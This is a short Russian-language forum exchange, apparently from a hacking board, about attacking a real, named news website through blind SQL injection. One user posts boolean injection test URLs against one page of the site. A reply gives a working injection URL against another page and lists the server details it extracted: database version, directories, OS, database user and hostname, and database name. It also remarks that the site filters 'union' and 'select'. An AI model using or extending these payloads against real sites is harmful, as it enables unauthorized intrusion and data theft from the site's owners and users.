02.04.2010, 15:36
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами:
9649706
Репутация:
3338
|
|
Сообщение от G1G
Парни , кто часто с blind Работает помогите раскурить , сам пока мало что понимаю:
http://www.lavozindependiente.com/news.php?nid=517'
Что то сам пытался..
http://www.lavozindependiente.com/news.php?nid=517+and+substring(@@version,1,1)=4=fa lse
http://www.lavozindependiente.com/news.php?nid=517+and+substring(@@version,1,1)=5=tr ue
Код:
http://www.lavozindependiente.com/microsite.php?cha=66+and+substring(version(),1,1)=5
@@tmpdir: /tmp
@@basedir: /usr/
version(): 5.1.44
@@datadir: /var/lib/mysql/
@@version_compile_os: redhat-linux-gnu
user(): hdn_bo_user@orinoco.venred.com
database(): lavozi_lavozindependiente_com_-_db
дальше сложнее, т.к. и union и select фильтруются неподецки
|
|
|